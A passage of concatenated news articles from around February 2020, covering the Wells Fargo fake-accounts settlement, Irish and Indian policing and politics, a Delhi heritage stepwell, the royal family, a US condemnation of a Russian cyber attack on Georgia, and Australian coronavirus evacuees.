lending businesses, according to a New York Times report. The settlements with federal prosecutors could be announced as soon as Friday and include a penalty of about $3 billion, according to a separate report from Dow Jones. Whether government lawyers plan to level criminal charges against individuals connected to the bank was unclear. The settlements would represent the latest government penalties against the bank and its former leaders for scandals in which millions of fake accounts were set up to meet sales quotas. Last month the Office of the Comptroller of the Currency said that former Wells Fargo CEO John Stumpf has been banned from ever working at a bank again and that he will pay $17.5 million for his role in the controversy. The nation's fourth-largest bank, Wells Fargo has remained muddled in restructuring and regulatory reforms since 2016 stemming from the scandals at its consumer-facing community bank. Wells came under intense scrutiny starting in 2016 after multiple regulatory bodies fined the company for creating millions of factitious accounts to meet lofty sales goals. Though management at first insisted a malfeasant few branch workers were responsible for the problem, the blame later shifted to top-down pressures from management to open as many accounts as possible via aggressive cross-selling. The ensuing fallout has had lasting consequences for the San-Francisco-based bank, once a rapidly growing lender with eye-popping profits. In recent years, however, Wells has stalled between stagnant revenue and an urgent need to cost cut. The bank's fourth-quarter profit report showed earnings declined 53% from the year-ago period and that Wells booked a $1.5 billion charge for legal costs associated with litigation from the fake account scandal. New Wells Fargo CEO Charlie Scharf told the bank's employees that recent government actions against Wells "are consistent with my belief that we should hold ourselves and individuals accountable." "They also are consistent with our belief that significant parts of the operating model of our Community Bank were flawed," he added in January. "At the time of the sales practices issues, the Company did not have in place the appropriate people, structure, processes, controls, or culture to prevent the inappropriate conduct." Click here to read the original New York Times report. Subscribe to CNBC PRO for exclusive insights and analysis, and live business day programming from around the world. The Garda Commissioner has said he will work with whatever government is elected, including a Sinn Fein-led government. However, he also hinted that he has the same intelligence the PSNI claims to have that suggests the provisional Army Council oversees both Sinn Fein and the IRA. He said today: On national security matters and matters around the security of the State, it is my obligation to report those to the government. We have contributed and continue to contribute to the Independent Reporting Commission - reporting on the status of various paramilitary organisations groups. We would hold with their opinion in these matters. But also I am aware of the PSNI and the British security services assessment and we do not differ from that view. He was asked if this would create a problem for him in a Sinn Fein-led government in general, and a Sinn Fein Minister of Justice in particular. He replied: "I am a public servant. I will work with the government. I have in law heavy responsibilities in terms of protecting the people of Ireland, preventing and detecting crime and will work with whatever Minister to achieve those aims. Speaking at todays Passing Out Ceremony at the Garda Training College in Templemore, Mr Harris also said he is to look into claims Corks specialist sex crimes unit is no longer functioning. It was put to Mr Harris that there have been claims the Protective Services Unit has not been operational since 2018 and is not taking on new cases. Sources have suggested that other detective units are taking on an extra workload as a result. Indeed, there are claims that Cork is down some 24 detectives and needs at least 100 front line staff to bring it up to competent operational levels. Commissioner Harris said: I am aware Cork has had a heavy workload over the last year in respect of some very serious criminality. That has put pressure on detective resources. At the same time, they've made good progress with the investigations they have conducted. He insisted garda management is committed to protecting the Protective Services Unit. And he said more Protective Services Unit detectives will be rolled out by the end of next month. He added: We continue to progress. We have the highest number of detectives that we've ever had in the organisation and that reflects on the demands that we are placed on us. There is high demand everywhere. He was asked again whether or not the Divisional Protective Services Unit was operational. My understanding is that it is but I can double-check that for you, he said. The newly attested gardai will see the number of gardai increases to 14,467. This is the largest, they say, number of sworn gardai in 10 years. Of the probationers allocated to different regions, 92 are going to the Dublin Regions, 17 are going to Cork, and 14 are going to Meath. At least 270 new diesel powered public utility vehicles meant for waste collection, sewer cleaning, supplying water, and mechanical sweeping of roads are lying unused in Delhi as they wait for registration, something on which the countrys top court has to sign off.. If the objective were to keep the citys roads free of diesel vehicles, it has already failed; Delhis municipal corporations and other agencies are hiring old polluting diesel vehicles from the neighbouring Uttar Pradesh and Haryana to deliver the same services in the national Capital. The problem stems from a December, 2015 order of the National Green Tribunal (NGT), which prohibited registration of any new diesel vehicles in Delhi including those older than 10 years. Even as the Supreme Court (SC), nearly a year later, lifted the ban on registration of diesel cars with an engine capacity of 2,000cc and above in the Capital by introducing a 1% environment cess on them, new construction equipment vehicles (the technical name for public utility vehicles) continued to be on the prohibited list. Eventually, NGT and later, the SC started giving approvals for registrations, elbeit on a case-by-case basis. Among the agencies that received such permission are the Special Protection Group (SPG), the Delhi Fire Service, and the Delhi Jal Board. Six months ago, this stopped, according to two concessionaires engaged with several government agencies. Supreme Court has fixed a deadline of March 31, 2020 for selling and registration of Euro IV (BS-IV) vehicles. So, if permission for our vehicles is delayed further, they (vehicles) will turn into scrap, said Gurpal Singh, a concessionaire working with the MCDs. His reference is to the fact that vehicles that adhere to the older Bharat Stage IV emission standards can only be sold till March 31. The three municipal corporations said they are the worst hit as the delay in receiving approvals from the apex court to register their new diesel vehicles is affecting their door-to-door waste collection system. Door-to-door collection and transportation of municipal solid waste (MSW) in a segregated form is mandated under the MSW Rules, 2016. We have at least 98 newly bought loaders and tippers for garbage collection that are gathering dust in our office premises. On the one hand, we cannot operate them and on the other, there are directions from the Delhi chief secretary that these rules have to be implemented in totality in our model wards by March 11, said a senior official of the East Delhi Municipal Corporation, who did not wish to be named since the matter is subjudice in the Apex court. Reports from the South and North MCDs stated that the two agencies have over 80 road sweeping vehicles and 25 garbage loaders waiting for approval respectively. An official familiar with the matter said multiple agencies have been filing applications with the SC ever since the ban was ordered. Some applications were taken up by the top court individually and cleared. But, later when the applications started piling up, all the applications, petitions were bunched together and hearings were being held. An order on the same is expected any time now, the official said on condition of anonymity. We are left with no choice other than hiring Haryana or UP registered vehicles as these essential services cannot be stopped, most of which are BS-III complaint, meaning they too are old. We are also taking old Delhi registered vehicles on rent, a North MCD official said. Officials of New Delhi Municipal Council, another litigant in the case, said the problem is that the agencies do not have alternatives to such diesel vehicles in the market. Given the registration and age (not more than 10 years old) restrictions on diesel vehicles, no government agency wants to buy a diesel-run construction equipment vehicle out of choice. But, barring a few garbage tippers, there is no CNG-run heavy duty vehicle available in the market. 16-ton hook loaders or compactors with high engine power are available only in diesel, a senior official said on condition of anonymity. The Delhi Fire Services (DFS), which is already short of resources, said it too has been unable to register at least 60 new fire tenders purchased in March 2018. The NGT asked us to submit an affidavit ensuring that no fire tender older than 10 years is being used. But doing so is not possible because out of the total 200 vehicles DFS has, around 100 are more than 10 years old. We approached the SC because it would have resulted in a drastic crunch. Now the cases of all the civic agencies, the Delhi police and the DFS have been clubbed together. Hearings have been held and a verdict is expected anytime now, said a fire official. In July last year, a bench of Justices Arun Mishra and Deepak Gupta imposed a fine of 50,000 on the North MCD for mentioning the matter for hearing before a vacation bench despite the regular bench in the SC passing an order in May that its case would be heard in July. The case was about registration of six diesel-driven mounted suction-cum-jetting machines the purpose of desalting and cleaning of drains during the monsoon season. SHARE THIS ARTICLE ON Fourteen teenagers have been identified by gardai as vulnerable but active participants in the Drogheda drugs feud. The gruesome murder of Keane Mulready-Woods has done little to scare some of the country's youngest gangsters away from a life of crime. Most of the teens are treated like low-level "glorified slaves" for more senior criminals who use them to deliver drugs, collect money and carry out acts of intimidation such as arson attacks and assaults. The Irish Independent understands one 16-year-old who was associated with Mulready-Woods has now been taken into State care. He became the subject of a Tusla care order last year and was relocated from Louth to a different part of the country amid concerns for his safety as the violence escalated dramatically. The revelation comes after gardai arrested two men as part of the investigation into the shocking murder and dismemberment of Mulready-Woods (17), whose torso has still not been found. The pair are not believed to have carried out the brutal attack - but gardai based in Drogheda station, with the support of several national units, are closing in on the killers. They have identified up to five gang members who lured the teenager to the home of an associate intent on committing one of the most sickening murders in recent gangland history. Separately, an Irish Independent investigation has established there is a hard-core group of 89 individuals who make up the membership of the two feuding gangs. Gang A has 49 members identified while Gang B has 40. All of them, with the exception of a few members, grew up in Drogheda. The figures do not include the three people who have been murdered in the six months since last August - Keith Branigan, Richard Carberry and Keane Mulready-Woods. Branigan and Carberry were leading members of Gang A and it is their associates - including a notorious psychopath from Dublin - who are suspected of murdering Mulready-Woods in revenge. Gang A has 28 members under 25, which includes seven teenagers. Gang B, which included Mulready-Woods and the child currently in care, has 12 members in the same category. Six members of Gang B have been seriously injured in gun attacks, with one man paralysed and another with life-changing scars. There have been more than 70 assaults, stabbings, shootings, arson and bomb attacks recorded in the feud. Senior gardai and community leaders believe more young teenagers like Mulready-Woods will fall victim as they are seduced by the gangster lifestyle. A source told the Irish Independent: "They are just kids who have been lured by the bling and what they think is the glamour of the gangland lifestyle and if they don't get out of that cycle they will be part of a lost generation. "They are playing with fire and no matter what you say they just don't want to listen." Like Mulready-Woods, a number of the young teenage gang members have been switching their allegiances from one gang to the other. The source says they are viewed by older members "as dispensable cannon fodder, glorified slaves, who do the dirty work and cause mayhem". "Some of them have decent parents who are at their wits' end having lost their kids to the older thugs who dominate their neighbourhoods - trying to break that cycle is the biggest challenge. "Other kids though have parents who couldn't care less and who are involved in drugs and crime themselves - for them the kids becoming criminals is as natural as a normal kid going into the family business." Since the feud exploded, six members of Gang A have been targeted in shootings. Up to 19 members of the same mob are facing serious charges relating to the feud and drug trafficking offences. Gang A is centred around seven members of the same family who live in the Moneymore estate in the town while Gang B is based around two families from the St Anthony's Park area. Speaking about the boy who has been moved out of Drogheda, a security source said: "The only chance for that kid is to keep him away from this as long as possible and hope that he can be convinced that this is not the life, that if he keeps going the way he was he could end up like Keane-Mulready." Along with those believed to have carried out that horrific attack, gardai have also identified the individuals who provided support including the theft of a Volvo car which was used to transport some of the body parts to Dublin. It has been established that the day before the abduction and murder - Saturday, January 11 - gang members bought a used car but when it broke down they had to quickly source the Volvo V40, stolen from Sandymount in Dublin, on December 15 from other criminals. The killers planned to dump a bag containing the teenager's severed limbs at the home of one gang rival in Coolock and a second bag containing his head, hands and feet at the home of another crime boss in Gormanston, Co Meath. The plot came unstuck when the gang members were spooked by Garda activity in the Moatview Estate in Coolock and dumped the bag on the street. The following morning the other body parts were found in the stolen car set alight near Trinity Terrace in Drumcondra on January 15. The Irish Independent understands gardai have retrieved a significant amount of forensic evidence including DNA profiles, human tissue and blood from the stolen car and the house in Drogheda. Among the CCTV images recovered is footage of a gang member loading plastic bags into the car on the Sunday night close to the murder scene, which are believed to have contained the remains of the murder victim. Gardai are searching for the torso because without it they say they cannot establish the cause of death. A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event here, a young woman was arrested on Friday for holding a 'Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti' placard at a counter-protest in the city, police said Bengaluru: A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event here, a young woman was arrested on Friday for holding a "Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti" placard at a counter-protest in the city, police said. A case had been registered against her for offences under the Indian Penal Code, including creating enmity between different groups of people against the woman, identified as Arudra, they said. "We have registered the case suo moto (on their own) for creating enmity between different groups of people," Deputy Commissioner of Police Chetan Singh Rathore said. The woman was produced before a city court judge, who remanded her to 14 days judicial custody till 5 March. Holding the placard with the slogans, Arudra was spotted sitting among the participants of the protest, organised by the Hindu Jagaran Vedike against Amulya Leona, who had shouted "Pakistan Zindabad" on Thursday. She was escorted out of the place as protesters asked her to leave and the crowd started gathering, city police chief Bhaskar Rao had said. "She was taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao had earlier told reporters, adding she did not raise any slogan. The "Kashmir Mukti, Dalit Mukti, Muslim Mukti" slogans were written in both Kannada and English in the placard held by her. The Hindu Jagaran Vedike organised the protest against Amulya Leona who had raised "Pakistan Zindabad" slogan thrice at an even against the Citizenship Amendment Act. She had made the controversial slogans in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, Amulya was later arrested on charges of sedition and produced before a magistrate court, which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest had he known that the woman had been invited for the event and asserted his party had no links with her. Aihik Sur By Express News Service HYDERABAD: Voices have been increasing against Telangana police's cordon and search operation, specifically regarding the ways in which it is conducted and the places where they are held, after the Aadhar citizenship row came to the fore. Recently, the Unique Identification Authority of India (UIDAI) in a recent release after the controversy broke, sought to absolve itself of any blame and said that they were following up on reports made by the State police that around 127 people had allegedly obtained Aadhar based on false pretences. The question here is, how do the police come to the conclusion whether Aadhar has been obtained illegally? Privacy activists and data security researchers say: Cordon and search -- apart from the instances of arrests made by police where they have said they were 'acting on tip-offs'. "There are so many people in the city. How do the police get to know who has procured it illegally or not? They did it by doing cordon and search. This is a mode of surveillance police deploy which enables them to identify such," Srinivas Kodali, a city-based independent security researcher said. SQ Masood, an activist, said, "Police has been separately asking for Aadhar during the operations. Not just that, citizens who visit restaurants at night are often stopped by police and asked for their Aadhar cards." ALSO READ | Rohingyas in Telangana ready to surrender 'fake' Aadhaar cards In recent times, the State police has conducted numerous such operations in the Old City area of the city, including in the Rohingya camp in Balapur. In such operations they ask them to show their identification cards, including Aadhar. Such a case came into the fore recently, when AIMIM Charminar MLA Mumtaz Ahmed Khan was caught in a video reprimanding the police who was in the Shakkar Gunj area conducting a cordon and search operation. This happened duing the initial days of anti-CAA-NRC-NPR protests and it had ticked off citizens in the area. In the video, Khan asked the police officers who claimed they were in the area to check vehicle ownership, "You are asking Aadhar card for that? Please leave. Do not do like this. Citizens are already confused and worried due to NRC." However, how legal is this whole process? Not much, according to experts. Kodali said, "This is obviously not legal. The city police, despite being asked, is unable to furnish the sections under which they conduct cordon and search." Even AIMIM chief Asaduddin OWaisi too had recently said, "@TelanganaPolice please stop asking for Aadhaar during your search & cordon operations. Youre not legally permitted to do so." The Hazrat Nizamuddin Baoli, where so many have visited for comfort, is in need of some help itself. The waters appear a murky, unappetising, algae-bloom green, and there is trash floating on it. Would the Sufi have tolerated his blessed waters, which have survived invaders and dynasties, to be laid low by the apathy of those who seek its blessings? When my friend and I entered the tiny bylane off Lodi Road, there was no sign that something quite special lay within. This seemed a crowded lane like so many others in Indian cities. Hole-in-the-wall shops serving gigantic parathas, myriad smells, chickens in tiny cages, a grimy butchers stall, a mechanic store. The first signs of a sacred site emerged with cubbyholes selling flowers. Fifty feet in, we ran into a raucous, aggressive auction for storing our footwear, with bids from Rs 100 to Rs 500. We succumbed to the dignity of a man who quietly beckoned to us to leave our shoes under his bench. After buying two plates of flowers, we entered the dargah (tomb of a saint). We came upon a baoli (stepwell) a baoli, I might add, that has held water continuously for 700 years. Through Mohammed bin Tughlaqs move from and back to Delhi, through Feroze Shah Tughlaqs building, through Taimurs looting and butchery, through the Mughals, through the British, through the creation of independent India, through Delhis groundwater crisis, this baoli has held water and offered succour to many a visitor. This is special enough to warrant an understanding of the man behind the baoli. More than 800 years ago, Nizamuddins mother, Zulaika, and her family, direct descendants of Prophet Muhammad, fled from Bukhara in Turkey to flee the Mongols. The family ended up in Badaun, a centre of learning in those times, in modern day Uttar Pradesh. There, in time, Zulaika married her uncle and had two children. But, she lost her husband soon after Nizamuddin was born legend has it that when her husband was very ill, she dreamt of an angel who asked her to choose between her husband or her son. Zulaika chose her son. With no husband and two children, life was hard and the family had little to eat. Sermon and spirituality substituted for food, a lesson that left a mark on the little boy, who made sure that every visitor to his khanqua (hermitage) would always leave with a full stomach. He believed that one coin spent on a gift of food was worth 20 spent on alms. Indeed, when we were leaving the dargah, we saw plates of the aromatic biryani being passed around. Imagine life in 13th-century Delhi. Islam was the newcomer on the block. To Hindus, seeing their temples destroyed, being taxed differentially, having no access to the language of power (Persian or Turki) or the religion of their rulers, life must have looked bleak. Local or Afghani Muslims faced a certain amount of racism from their Turkish overlords. The khanqua provided an avenue for universal networking. The word miracle comes from the Latin root, mirus, meaning wonder. And getting a man like Nizamuddin in a time like that: born into poverty, yet choosing to give; seeing violence all around him, yet choosing to embrace; living next to power, yet choosing to remain aloof; is indeed miraculous. Nizamuddin lived through three dynasties Mamluk, Khilji and Tughlaq remaining a constant counterpoint to the melody of power. A symbol of that counterpoint is his baoli. After donning his spiritual mantle, Nizamuddin settled in Ghiyaspur, a sleepy hamlet to the North East of then-Delhi. Soon, a large group seekers, students and people looking for succour for both stomach and soul gathered around him. There was already a small matter of money between the new Sultan, Ghiyasuddin Tughlaq and Nizamuddin. The earlier Sultan, Khusrau, had given the saint money, perhaps as a reputation-cleansing move, and the new Sultan wanted it back. But the saint had already donated the money to the poor. This strained relations between the saint and the Sultan. Then came the building. Ghiyasuddin came into power by violence, so, naturally, protection was foremost in his mind. He had already spied a defensible site and pressed all available labour into building a giant fort at Tughlaqabad. The only problem was that the Sufi wanted to build a baoli to water the growing crowds at his khanqah. The workers had to obey the Sultan. Todays workers can protest or quit. In the 14th century, such insolence meant death. The workers compromised by working on the fort in the day, and building the baoli at night by lamplight. Furious, the Sultan denied oil for the lamps. Unflustered, the Sufi blessed the water of the baoli. His disciple filled the lamps with this water, and flames burned bright. The Sultan swore revenge. The Sufi merely said, Ya base Gujjar ya rahe ujaad, meaning the beloved fort of the Sultan would either be abandoned or be inhabited by Gujjars, the nomadic tribe of that region. Interestingly, the fort was abandoned within a few years of its construction some blame water issues, while others point to the curse of the Sufi. The baoli, as we see, has endured. Babur mentions this place by name, having visited the tomb (and presumably the blessed baoli) just three days after the Battle of Panipat, on 24 April, 1526. He mentions specifically, On Tuesday (Rajab 12th), after we had halted on two nights and had made the circuit of Shaikh Nizamuddin Auliya's tomb. Taimur spared the tomb, his descendant, Babur, the founder of the Mughal dynasty, visited the tomb, and the last Mughal, Bahadur Shah Zafar entrusted his family relics, including the hairs of Prophet, to the shrine keepers' tomb. The baoli lasted through British years as well, where, as per Thomas Metcalfe, "A celebrated Boulee or deep Reservoir adjoining to the Shrine of the Saint Nizamoodeen. It is much resorted to by Travellers, to witness the feats of Divers who are located at the place, and Jump from a considerable height into the Reservoir." Water in a city can take many forms centralised, top-down affairs that lend themselves to a narrative of command-and-control, or charming, distributed sites, like this baoli, that lend themselves to kinship and community. Indian cities have always had both: Indeed, in many parts of India, Madurai and Alwar to name two, the distributed model of water infrastructure has, until recently, been the dominant form, providing a foundation for communities to thrive. Today, the baoli, where so many have visited for comfort, is in need of some help itself. The Aga Khan Foundation has recently renovated the baoli, removing a few encroachments and desilting the baoli itself. This is nowhere close to enough. When we visited, the waters were a murky, unappetising, algae-bloom green. There were piles of clothing on the steps the guard said these were discarded by those who took a purifying dip in the waters. There was trash floating on it. What would have Hazrat Shaikh Nizamuddin Auliya thought? He was a tolerant man, to be sure. But would he have tolerated his blessed waters, which have survived invaders and dynasties, to be laid low by the apathy of those who seek its blessings? Consider an alternative: a well-marked entrance with a meaningful ticket price, signages, guide and history books, gift shops, trained guides in short, a tourist economy around the baoli. To those who object that thinking of economics is too crass in so holy a site, I can only point to the loud hawkers selling Rs 50-rupee polystyrene plates of roses and religious knick-knacks around the site. There is an economy, but it can be supercharged with a little planning, better maintenance and some history. If that keeps the baoli clean while providing a few more jobs, theres the bonus. For a country in need of jobs and growth, this is a fruit fallen on the ground. The Auliya, I think, would approve. The writer is the founder of the Sundaram Climate Institute, cleantech angel investor and author of The Climate Solution India's Climate Crisis and What We Can Do About It published by Hachette. Follow her work on her website; on Twitter; or write to her at cc@climaction.net. The All India Majlis-e- Ittehad-ul-Muslimeen (AIMIM) will seek explanation from its leader Waris Pathan over his alleged '15 crore Muslims can be heavy on 100 crore' remark he recently made in Karnataka, a party leader said here on Friday. Pathan had made the purported remarks while addressing an anti-Citizenship (Amendment) Act (CAA) rally at Kalaburagi in North Karnataka on February 16. "We have to move together. We have to take Azadi (freedom), things that we don't get by asking, we have to take it by force, remember it...(We may be) 15 crore, but are heavy on 100 (crore), remember it," Pathan can be heard purportedly saying in a video of his speech that has gone viral. Talking to reporters here, AIMIM's Maharashtra unit chief and Aurangabad MP Imtiyaz Jaleel said, "Our party does not support the statement made by Waris Pathan. The party will seek an explanation from him over the remarks." "If needed, we will come out with a set of dos and don'ts for the party workers to be while giving speech," he said. "BJP leaders Anurag Thakur and Yogi Adityanath had also given some hateful statements, but none questioned them about it," Jaleel added. On Thursday, a young woman had raised "Pakistan Zindabad" slogan in Bengaluru during a protest against CAA, NRC andR, where AIMIM chief Asaduddin Owaisi was also present. Owaisi had denounced her action. Talking about the incident, Jaleel said, "That event was not organised by the AIMIM. It was organised by JD(S) and leaders of all parties were there. Asaduddin Owaisi stopped the woman and also condemned her act. But it is being projected that it was AIMIM's stage." Meanwhile, the BJP and the Raj Thackeray-led Maharashtra Navnirman Sena (MNS) held protests in Aurangabad against Pathan, seeking stern action against him. The BJP protested in Gulmandi area and burnt an effigy of Pathan. "Waris Pathan has hurt the feelings of 100 crore people. He has tried to divide the people of the country. The state government should take action against him and send him out of Mumbai," BJP MLA Atul Save said. The MNS took out a symbolic funeral procession of Pathan and raised slogans against the AIMIM. "The language of Waris Pathan was disgusting. He should be banned from giving public speeches in the state and also be arrested," MNS lader Prakash Mahajan said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Uttarakhand Chief Minister Trivendra Singh Rawat met Bharatiya Janata Party (BJP) president JP Nadda here on Friday. On Monday, Rawat visited the Police Memorial here and paid floral tribute to the policemen who laid down their lives on the line of duty. "This monument reminds us of the sacrifices of the police and paramilitary personnel. This memorial will always stand as a testimony to their supreme sacrifice," Rawat said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prince Harry and Meghan Markle will carry out their final official engagements in their remaining days before they step down as senior members of the royal family. The pair have announced their final engagements as members of the royal family. According to a spokesperson for the couple, Harry and Meghan's office at Buckingham Palace will finally end in operation. The pair will begin a 12-month transition period from March 31. Harry and Meghan will fly to London at the end of February and will carry out joint and solo engagements. They will be making a public appearance with the rest of the royal family before they are no longer working royals. The Duke and Duchess of Sussex will no longer fulfill duties on behalf of the Queen, but arrangements will be assessed after 12 months. Harry and Meghan, in the initial part of 2020, announced that they choose to step down from royal engagements and are working to become financially independent. Prince Harry will re-record his song "Unbroken" with the Invictus Games Choir on February 28 in a session with Bon Jovi. According to a Buckingham Palace press release, the song "was created by Jon Bon Jovi to shine a spotlight on veterans living with Post Traumatic Stress Disorder and honor their service." Harry and Meghan will attend the Endeavour Fund Awards in March "to recognize wounded, injured and sick service personnel and veterans who have gone on to use sport and adventurous challenge as part of their recovery and rehabilitation" as well as an annual performance at the Royal Albert Hall to raise funds for Her Majesty's Royal Marines and CLIC Sargent, a UK cancer charity for children. Also Read: Prince Harry: Christmas With Meghan Was "Fantastic" Shared on Twitter by royal correspondent Omid Scobie, the palace has released an itinerary of their final engagements in February and March. They will split their time between the UK and North America and will be present in the UK "regularly." The couple will be attending a total of six events in the UK in February and March. Harry will retain his honorary military titles, the ranks of major, lieutenant, commander, and squadron leader but he won't be using them or undertaking the duties associated with them during the 12-month transition period. The word "royal" to be associated with Prince Harry and his wife Meghan for their new venture is being reviewed but the most probable direction is that the term will not be a part of the Sussexes' branding. According to the statement, "As the Duke and Duchess are stepping back as senior members of the royal family, and will work towards financial independence, use of the word 'Royal', in this context, needed to be reviewed. Discussions are still ongoing, however, a change will be announced alongside the launch of their new non-profit organization." Related Article: Why Meghan Markle is the right fit for Prince Harry; The royal's new love interest steals the limelight @ 2022 HNGN, All rights reserved. Do not reproduce without permission. The Basij group, a student group of the Islamic Revolutionary Guard Corps, has threatened to destroy what many believe to be the ancient burial site of Queen Esther and Mordechai in Hamedan. The threat comes after President Donald Trump announced his Israeli-Palestinian peace plan. According to CBN News, the Basij group released a statement saying they want to tear down the tomb and replace it with a Palestinian consulate. "We warn the United States and the Zionist regime ... that the first act of fulfilling their filthy desires and the slightest attack on Palestine and the holy al-Quds (Jerusalem) means that they will no longer occupy a place as Esther's tomb we'll turn it into a Palestine consulate and you will see the fulfillment of this promise," their statement said. Ali Malmir, the director of Hamedans tourism office, however, said earlier this month that the tomb would be impossible to destroy because the tomb is a cultural heritage building. Meanwhile, the Alliance for Rights of All Minorities in Iran reported that the Basij group already attempted to raid the tomb last week. The U.S. Commission on International Religious Freedom issued a statement as well, saying they are troubled by the threats. The threats also come just weeks from Purim, a holiday dedicated to honoring Esther and Mordechai. With less than a month before #Purim, people of all faiths should speak out before this desecration takes place, said Jonathan Greenblatt, head of the Anti-Defamation League. The tomb of Queen Esther and Mordechai are an important Jewish pilgrimage site in Iran. This isnt the first time the site has been threatened. In December 2010, a group of Islamists threatened to destroy the tomb in response to fears that Israel was planning to damage a mosque in Jerusalem. Muslims beware they have started the destruction of Al-Aqsa mosque while their second sacred site in Iran, the Esther and Mordecai tomb is at peace and no Muslims make a sound, the protesters said in 2010. We, the student basijis warn Zionist regime leaders if they assault the Al-Aqsa mosque in any way we will destroy the tomb of these lowly murderers. Photo courtesy: Wikimedia Commons/Adam Jones, cropped and resized to 1200x627 Amanda Casanova is a writer living in Dallas, Texas. She has covered news for ChristianHeadlines.com since 2014. She has also contributed to The Houston Chronicle, U.S. News and World Report and IBelieve.com. She blogs at The Migraine Runner. Israeli politician Elazar Stern says his country's handling of the case of Malka Leifer, the former Melbourne school principal attempting to avoid extradition to Australia from Israel to face 74 child sexual abuse charges, has damaged the relationship between the two nations. In an interview with The Age and the Sydney Morning Herald in Sydney this week Mr Stern said he was appalled that ultra-Orthdox politicians in the Knesset - the Israeli parliament - continued to oppose Ms Leifers extradition to Australia, citing Jewish religious law. Malka Leifer, right, is brought to a courtroom in Jerusalem in 2018. Credit:AP Mr Stern, a member of the centrist Blue and White coalition, said the case was not only having a negative impact on the relationship between Israel and Australia but had become a hugely contentious point in Israeli politics in its own right. "I dont think any Israeli should defend any Jewish person if they are a criminal just because they are Jewish," he said. "I dont think [the view of] a rabbi should have anything to do with national policy or international law." European Countries, US and UK Condemn Russian Cyber-Attack Against Georgia - GeorgianJournal The United States Condemns Russian Cyber Attack Against the Country of Georgia Press Statement Michael R. Pompeo, Secretary of State February 20, 2020 On October 28, 2019, the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST, also known as Unit 74455 and Sandworm) carried out a widespread disruptive cyber attack against the country of Georgia. The incident, which directly affected the Georgian population, disrupted operations of several thousand Georgian government and privately-run websites and interrupted the broadcast of at least two major television stations. This action contradicts Russia's attempts to claim it is a responsible actor in cyberspace and demonstrates a continuing pattern of reckless Russian GRU cyber operations against a number of countries. These operations aim to sow division, create insecurity, and undermine democratic institutions. The United States calls on Russia to cease this behavior in Georgia and elsewhere. The stability of cyberspace depends on the responsible behavior of nations. We, together with the international community, will continue our efforts to uphold an international framework of responsible state behavior in cyberspace. We also pledge our support to Georgia and its people in enhancing their cybersecurity and countering malicious cyber actors. We will offer additional capacity building and technical assistance to help strengthen Georgia's public institutions and improve its ability to protect itself from these kinds of activities. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The perennial favourite is back, bringing Indian dance, music, food and yoga practices to a number of cities in Egypt India's cultural presence in Egypt in apparent throughout the whole year, with many films and performing arts components seeing life on Cairo's stages and in its cinemas, or promoted at the Maulana Azad Centre for Indian Culture (MACIC). Yet, the best showcase of India's cultural riches comes in the form of India by the Nile, a yearly festival organised by the Teamwork Arts (a company that specialises in showcasing Indian art at festivals all over the world) in cooperation with the Indian embassy and several Egyptian partners. Once again, the festival, held this year from 2 to 10 March, will bring a selection of classical and popular Indian art forms to Cairo, Alexandria, Port Said and Fayoum. In the dance category, the audience won't be disappointed, especially given that many Egyptian fans identify India primarily with Bollywood. This years festival will include En Route to Bollywood, a colourful show featuring the well-known songs from Bollywood films, accompanied by dancers. A Bollywood dance workshop is one of the pillars of the India by the Nile event, and will take place this year too, led by India-based French dancer and choreographer Gilles Chuyen. In addition, Astha Dixit Dance Company will provide a modern perspective on one of the oldest Indian classical dance forms, kathak. The culture of Rajasthan will be on display thanks to folk musicians highlighting Kutle Khan, a renowned artist whose portfolio includes many concerts around the globe. Yoga is a yet another popular component of the festival. While yoga practices are well known in Egypt through workshops provided by MACIC and numerous other centres, India by the Nile also takes part through sessions of Yoga and Wellbeing. The festival would not be complete without a taste of Indian cuisine, reputedly thousands of years old. The unique cuisine will be offered in Cairo's InterContinental hotel by celebrated chef and entrepreneur Vikram Udaygiri. Although this year the variety of performances seems to be a bit smaller than in the past seven years of the festival, the showcase is just enough to present India's creativity in its most significant forms. On another hand, however, including different cities and venues in the programme gives India by the Nile an opportunity to present Indian art to numerous governorates outside the capital. The full programme can be found on the event's website. For more arts and culture news and updates, follow Ahram Online Arts and Culture on Twitter at @AhramOnlineArts and on Facebook at Ahram Online: Arts & Culture Search Keywords: Short link: Four Australians who were evacuated from the Diamond Princess cruise ship on Thursday are confirmed to have coronavirus. On Friday night two Queensland women, aged 54 and 55, tested positive for COVID-19 and will be flown to Brisbane for further treatment. Earlier on Friday, a 78-year-old man from Western Australia was transferred to Sir Charles Gairdner Hospital in Perth. His wife will travel with him but then be isolated at home for two weeks. The other patient is a 24-year-old woman from South Australia, who will be transferred to Royal Adelaide Hospital. The patients remain well and are being housed in a separate isolation unit at Howard Springs outside Darwin. Australian evacuees from the quarantined cruise ship Diamond Princess in Japan arrive at the Inpex Plant Manigurr-ma Village at Howard Springs, 30km southeast of Darwin Four Australians evacuated from the Diamond Princess cruise ship on Thursday are confirmed to have coronavirus Japan Self-Defence Forces officers use canvas sheets to cover the walkway from the cruise ship Diamond Princess Public health authorities from their home states are organising the medical transfers. Despite clearing multiple screenings for the virus before being taken to the Howard Springs facility, Australian Chief Medical Officer Brendan Murphy said the cases are not surprising. 'There has been ongoing detection of infection on the Diamond Princess cruise ship over the last few days, so it's not unexpected that some people might have been incubating the virus,' he told reporters in Canberra on Friday. 'It's possible more people could develop positive tests over the next few days. We don't know that, but if they do we are completely well set up to detect and manage them and isolate them.' Prof Murphy said both evacuees were in a clinically 'reasonable' condition. Four other people tested for coronavirus after returning to Australia on Thursday have been cleared and released from isolation back into general accommodation. All six who had displayed cold-like symptoms were separated from others on the flight. There are currently 174 cases of coronavirus on the boat including 15 Australians. Pictured: medical staff inside the ship Medical staff dressed in protective clothing prepare to board the Diamond Princess in Yokohama, Japan The two new cases take the total number in Australia to 19. Of those, 10 people have recovered. Acting NT chief health officer Dianne Stephens said the pair's 